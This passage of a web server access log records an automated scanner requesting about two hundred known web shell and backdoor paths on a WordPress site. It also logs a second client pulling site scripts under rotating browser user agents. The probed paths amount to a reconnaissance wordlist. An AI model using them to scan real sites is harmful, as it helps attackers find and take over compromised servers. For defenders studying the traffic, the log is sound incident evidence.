HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:31:49 +0300] "GET /assets HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:31:52 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:31:53 +0300] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:31:55 +0300] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:31:57 +0300] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:32:01 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:32:05 +0300] "GET /dropdown.php?p= HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:32:10 +0300] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:32:14 +0300] "GET /wp-includes/block-bindings HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:32:14 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:32:14 +0300] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:32:17 +0300] "GET /mail.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:32:18 +0300] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:32:22 +0300] "GET /wso.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:32:27 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:32:32 +0300] "GET /ava.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:32:35 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:32:38 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:32:41 +0300] "GET /man.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:32:43 +0300] "GET /mah.php?p= HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:32:46 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:32:46 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:32:46 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:32:47 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:32:47 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:32:50 +0300] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:32:55 +0300] "GET /wp-includes/js/dist HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:32:55 +0300] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:33:00 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:33:05 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:33:06 +0300] "GET /wp-admin/js HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:33:06 +0300] "GET /.well-known/rk2.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:33:11 +0300] "GET /admin-header.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:33:15 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:33:20 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:33:21 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:33:23 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:33:29 +0300] "GET /wp-includes/bk/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:33:30 +0300] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:33:31 +0300] "GET /private/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:33:35 +0300] "GET /13.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:33:37 +0300] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:33:40 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:33:43 +0300] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:33:45 +0300] "GET /wp-content/plugins/1m5mvlb6d1iq7yog17r4/14bcjywsujyrjjwqegeCdefault.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:33:48 +0300] "GET /wp-content HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:33:49 +0300] "GET /wp-admin/css/colors/coffee HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:33:49 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:33:50 +0300] "GET /api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:33:53 +0300] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:33:56 +0300] "GET /users.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:33:58 +0300] "GET /images HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:34:01 +0300] "GET /ma.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:34:05 +0300] "GET /wp-admin/css/colors HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:34:06 +0300] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:34:06 +0300] "GET /asasx.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:34:10 +0300] "GET /about.php?p= HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:34:12 +0300] "GET /k.php?p= HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:34:16 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:34:18 +0300] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:34:18 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:34:22 +0300] "GET /wp-includes/certificates/dropdown.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:34:24 +0300] "GET /post.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:34:26 +0300] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:34:28 +0300] "GET /assets/css/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:34:31 +0300] "GET /WSO.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:34:34 +0300] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:34:35 +0300] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:34:38 +0300] "GET /wp-admin/sql.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:34:40 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:34:42 +0300] "GET /wp-admin/file-manager.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:34:44 +0300] "GET /wp-admin/wp-signin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:34:47 +0300] "GET /wp-admin/zz.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:34:50 +0300] "GET /wp-admin/sx.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:34:53 +0300] "GET /wp-admin/zwso.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:34:55 +0300] "GET /wp-admin/gettest.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:34:58 +0300] "GET /wp-admin/network/cache/gfhfv.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:35:01 +0300] "GET /wp-admin/includes/gfhfv.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:35:06 +0300] "GET /wp-includes/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:35:11 +0300] "GET /wp-includes/wp-mails.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:35:16 +0300] "GET /wp-includes/mer_gagal.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:35:18 +0300] "GET /wp-includes/speculative8.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:35:22 +0300] "GET /wp-includes/assets/000.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:35:24 +0300] "GET /wp-includes/assets/k.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:35:26 +0300] "GET /wp-includes/js/anskrit.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:35:29 +0300] "GET /wp-includes/abilities-api/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:35:31 +0300] "GET /wp-includes/Requests/src/webdb.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:35:35 +0300] "GET /wp-includes/class-wp-widget-table.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:35:39 +0300] "GET /wp-content/uploads/back.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:35:43 +0300] "GET /wp-content/uploads/2025/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:35:45 +0300] "GET /wp-content/uploads/revslider/templates/brutal-menu/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:35:51 +0300] "GET /wp-content/uploads/revslider/templates/rockable-lineup-2/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:35:56 +0300] "GET /wp-content/uploads/wcdp-uploads/temp/xxc/stuff/wp-class.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:35:59 +0300] "GET /wp-content/uploads/cpo_temp/services.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:36:03 +0300] "GET /wp-content/wpvivid_uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:36:08 +0300] "GET /wp-content/wpvivid_uploads/Isolate/error/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:36:13 +0300] "GET /wp-content/updraft/emptydir/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:36:18 +0300] "GET /wp-content/updraft/plugins-old/updraftplus/vendor/team-updraft/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:36:22 +0300] "GET /wp-content/plugins/wp-file-manager/file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:36:25 +0300] "GET /wp-content/plugins/phpad/acp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:36:28 +0300] "GET /wp-content/plugins/phpadmin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:36:31 +0300] "GET /wp-content/plugins/akismet/views/cmd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:36:35 +0300] "GET /wp-content/plugins/junkfood/mainhack.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:36:38 +0300] "GET /wp-content/plugins/x/wp-fm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:36:40 +0300] "GET /wp-content/plugins/x/wp-classs-editor.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:36:44 +0300] "GET /wp-content/plugins/acucozo/file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:36:48 +0300] "GET /wp-content/plugins/sccrbel/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:36:53 +0300] "GET /wp-content/plugins/tilnzqc/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:36:58 +0300] "GET /wp-content/themes/akses.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:37:03 +0300] "GET /wp-content/themes/radio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:37:08 +0300] "GET /wp-content/themes/ftde.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:37:13 +0300] "GET /wp-content/themes/wp-blog.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:37:16 +0300] "GET /wp-content/themes/bbpress/mainhack.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:37:21 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:37:26 +0300] "GET /wp-content/themes/twentytwentythree/locks.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:37:29 +0300] "GET /wp-content/themes/twentytwentyfour/locks.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:37:34 +0300] "GET /wp-content/themes/twentynineteen/sass/mixins/scss.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:37:36 +0300] "GET /wp-content/themes/news-portal/network.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:37:41 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:37:44 +0300] "GET /asf.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:37:45 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:37:46 +0300] "GET /wp-differ1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:37:49 +0300] "GET /revealability.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:37:52 +0300] "GET /drive.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:37:57 +0300] "GET /vFWbf/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:38:01 +0300] "GET /image/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:38:05 +0300] "GET /google-feed/pki-validation/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:38:11 +0300] "GET /investor-relations/block-directory/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:38:16 +0300] "GET /s/wp-content/plugins/file52.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:38:18 +0300] "GET /s/wp-content/uploads/rank-math/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:38:21 +0300] "GET /s/wp-content/mu-plugins/ID3/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:38:26 +0300] "GET /s/bk/wp-admin/includes/media1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:38:31 +0300] "GET /s/bk/wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:38:36 +0300] "GET /s/bk/wp-includes/fonts/maint/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:38:41 +0300] "GET /s/bk/wp-includes/PHPMailer/widgets/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:38:46 +0300] "GET /s/wp-admin/network/icons/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:38:51 +0300] "GET /s/wp-admin/user/colors/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:38:56 +0300] "GET /s/wp-content/litespeed/debug/maint/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:39:01 +0300] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:39:01 +0300] "GET /comments/feed/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:39:06 +0300] "GET /admin/uploads/fm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:39:09 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:39:12 +0300] "GET /wp-content/webp-express/radio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 116.76.38.229 - - [31/Jan/2026:19:51:30 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.4372.131 Safari/537.36 Edge/18.18362" 85.203.23.205 - - [31/Jan/2026:19:39:16 +0300] "GET /wp-content/webp-express/webp-images-bigger-than-source/providers/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:39:20 +0300] "GET /wp-content/settings/gfhfv.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:39:24 +0300] "GET /wp-content/drive.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:39:27 +0300] "GET /wp-content/ws29.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:39:30 +0300] "GET /wp-content/v3.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:39:33 +0300] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:39:38 +0300] "GET /wp-includes/SimplePie/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:39:41 +0300] "GET /wp-includes/IXR/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:39:41 +0300] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:39:43 +0300] "GET /wp-includes/customize/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:39:47 +0300] "GET /wp-content/languages/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:39:47 +0300] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:39:52 +0300] "GET /wp-content/database.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:39:55 +0300] "GET /wp-content/000.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:39:58 +0300] "GET /wp-content/buy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:40:02 +0300] "GET /wp-content/gettest.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:40:06 +0300] "GET /wp-includes/gettest.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:40:09 +0300] "GET /wp-includes/Text/Diff/Engine/wp-good.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:40:12 +0300] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:40:17 +0300] "GET /wp-includes/Text/Diff/Renderer/user/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:40:22 +0300] "GET /wp-includes/pomo/includ.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:40:26 +0300] "GET /wp-includes/assets/script-modules-xxx.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 195.178.110.54 - - [31/Jan/2026:23:48:37 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Slider/SliderType/Simple/Assets/dist/ss-simple.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; en-US; rv:2.0b2pre) Gecko/20100712 Minefield/4.0b2pre" 195.178.110.54 - - [31/Jan/2026:23:48:39 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/ui/core.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36" 121.229.185.160 - - [31/Jan/2026:22:48:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 195.178.110.54 - - [31/Jan/2026:23:48:37 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Application/Frontend/Assets/dist/smartslider-frontend.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.87 Safari/537.36" 195.178.110.54 - - [31/Jan/2026:23:48:38 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Widget/Bullet/Assets/dist/w-bullet.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 OPR/62.0.3331.109" 195.178.110.54 - - [31/Jan/2026:23:48:38 +0300] "GET //eliteewallet.com/wp-content/plugins/the-plus-addons-for-elementor-page-builder/includes/user-experience/update-popup/tp-update-plugin-popup.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; U; Linux armv6l; rv 1.8.1.5pre) Gecko/20070619 Minimo/0.020" 195.178.110.54 - - [31/Jan/2026:23:48:38 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/jquery.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Safari/605.1.15 Epiphany/605.1.15" 195.178.110.54 - - [31/Jan/2026:23:48:39 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/ui/mouse.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 8.0.0; moto e5 plus Build/OPPS27.91-122-3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.126 Mobile Safari/537.36" 195.178.110.54 - - [31/Jan/2026:23:48:39 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/ui/slider.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.87 Safari/537.36" 195.178.110.54 - - [31/Jan/2026:23:48:39 +0300] "GET //static.elfsight.com/platform/platform.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36" 195.178.110.54 - - [31/Jan/2026:23:48:37 +0300] "GET //eliteewallet.com/wp-content/plugins/elementor/assets/js/frontend-modules.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15" 195.178.110.54 - - [31/Jan/2026:23:48:37 +0300] "GET //eliteewallet.com/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/607.2.6 (KHTML, like Gecko) Version/12.1.1 Safari/607.2.6 Maxthon/5.1.132" 195.178.110.54 - - [31/Jan/2026:23:48:37 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Slider/SliderType/Simple/Assets/dist/smartslider-backgroundanimation.min.js HTTP/1.1" 